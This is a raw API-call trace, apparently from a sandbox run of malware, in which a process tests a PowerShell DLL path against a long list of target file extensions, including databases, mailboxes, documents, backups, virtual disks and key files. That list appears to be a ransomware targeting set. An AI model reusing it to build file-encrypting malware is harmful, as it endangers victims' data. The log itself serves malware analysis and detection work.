lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\", lpString2="Microsoft.PowerShell.Commands.Utility.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" [0109.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.ems") returned 0 [0109.077] lstrlenA (lpString="*.ems") returned 5 [0109.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.db") returned 0 [0109.077] lstrlenA (lpString="*.db") returned 4 [0109.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.dbf") returned 0 [0109.077] lstrlenA (lpString="*.dbf") returned 5 [0109.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.myox") returned 0 [0109.077] lstrlenA (lpString="*.myox") returned 6 [0109.077] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.myo") returned 0 [0109.078] lstrlenA (lpString="*.myo") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qbw") returned 0 [0109.078] lstrlenA (lpString="*.qbw") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qbb") returned 0 [0109.078] lstrlenA (lpString="*.qbb") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qbm") returned 0 [0109.078] lstrlenA (lpString="*.qbm") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qbo") returned 0 [0109.078] lstrlenA (lpString="*.qbo") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qbx") returned 0 [0109.078] lstrlenA (lpString="*.qbx") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qba") returned 0 [0109.078] lstrlenA (lpString="*.qba") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qby") returned 0 [0109.078] lstrlenA (lpString="*.qby") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qbj") returned 0 [0109.078] lstrlenA (lpString="*.qbj") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.ofx") returned 0 [0109.078] lstrlenA (lpString="*.ofx") returned 5 [0109.078] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.qif") returned 0 [0109.079] lstrlenA (lpString="*.qif") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mye") returned 0 [0109.079] lstrlenA (lpString="*.mye") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mbox") returned 0 [0109.079] lstrlenA (lpString="*.mbox") returned 6 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.eml") returned 0 [0109.079] lstrlenA (lpString="*.eml") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.pst") returned 0 [0109.079] lstrlenA (lpString="*.pst") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.ost") returned 0 [0109.079] lstrlenA (lpString="*.ost") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.idx") returned 0 [0109.079] lstrlenA (lpString="*.idx") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.dbx") returned 0 [0109.079] lstrlenA (lpString="*.dbx") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.sql") returned 0 [0109.079] lstrlenA (lpString="*.sql") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mdb") returned 0 [0109.079] lstrlenA (lpString="*.mdb") returned 5 [0109.079] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.fdb") returned 0 [0109.080] lstrlenA (lpString="*.fdb") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.wab") returned 0 [0109.080] lstrlenA (lpString="*.wab") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.dat") returned 0 [0109.080] lstrlenA (lpString="*.dat") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.txt") returned 0 [0109.080] lstrlenA (lpString="*.txt") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.jpeg") returned 0 [0109.080] lstrlenA (lpString="*.jpeg") returned 6 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.jpg") returned 0 [0109.080] lstrlenA (lpString="*.jpg") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.png") returned 0 [0109.080] lstrlenA (lpString="*.png") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.php") returned 0 [0109.080] lstrlenA (lpString="*.php") returned 5 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.cs") returned 0 [0109.080] lstrlenA (lpString="*.cs") returned 4 [0109.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.cpp") returned 0 [0109.081] lstrlenA (lpString="*.cpp") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.rar") returned 0 [0109.081] lstrlenA (lpString="*.rar") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.zip") returned 0 [0109.081] lstrlenA (lpString="*.zip") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.html") returned 0 [0109.081] lstrlenA (lpString="*.html") returned 6 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.htm") returned 0 [0109.081] lstrlenA (lpString="*.htm") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.xlsx") returned 0 [0109.081] lstrlenA (lpString="*.xlsx") returned 6 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.xls") returned 0 [0109.081] lstrlenA (lpString="*.xls") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mp4") returned 0 [0109.081] lstrlenA (lpString="*.mp4") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.ppt") returned 0 [0109.081] lstrlenA (lpString="*.ppt") returned 5 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.pptx") returned 0 [0109.081] lstrlenA (lpString="*.pptx") returned 6 [0109.081] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.doc") returned 0 [0109.081] lstrlenA (lpString="*.doc") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.dot") returned 0 [0109.082] lstrlenA (lpString="*.dot") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.docx") returned 0 [0109.082] lstrlenA (lpString="*.docx") returned 6 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.7z") returned 0 [0109.082] lstrlenA (lpString="*.7z") returned 4 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.tar") returned 0 [0109.082] lstrlenA (lpString="*.tar") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.bz2") returned 0 [0109.082] lstrlenA (lpString="*.bz2") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.gz") returned 0 [0109.082] lstrlenA (lpString="*.gz") returned 4 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mkv") returned 0 [0109.082] lstrlenA (lpString="*.mkv") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.eml") returned 0 [0109.082] lstrlenA (lpString="*.eml") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.msg") returned 0 [0109.082] lstrlenA (lpString="*.msg") returned 5 [0109.082] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.edb") returned 0 [0109.082] lstrlenA (lpString="*.edb") returned 5 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.accdb") returned 0 [0109.083] lstrlenA (lpString="*.accdb") returned 7 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.odb") returned 0 [0109.083] lstrlenA (lpString="*.odb") returned 5 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.java") returned 0 [0109.083] lstrlenA (lpString="*.java") returned 6 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.asm") returned 0 [0109.083] lstrlenA (lpString="*.asm") returned 5 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.pfx") returned 0 [0109.083] lstrlenA (lpString="*.pfx") returned 5 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.pem") returned 0 [0109.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.p12") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.gpg") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.vsd") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.odg") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.raw") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.nef") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.svg") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.psd") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.vmx") returned 0 [0109.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.vmdk") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.vdi") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.lay6") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mpeg") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.djvu") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.tiff") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.backup") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.pdf") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.cert") returned 0 [0109.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.docm") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.xlsm") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.dwg") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.nd") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.tlg") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.lgb") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mov") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.xdw") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.ods") returned 0 [0109.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.wav") returned 0 [0109.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.mp3") returned 0 [0109.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.aiff") returned 0 [0109.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.flac") returned 0 [0109.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.m4a") returned 0 [0109.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll", pszSpec="*.csv") returned 0 [0109.087] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b99e1b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4b99e1b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf4bbff7c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x213600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Commands.Utility.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.087] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.087] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb1cef78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb1cef78, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb1cef78, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, 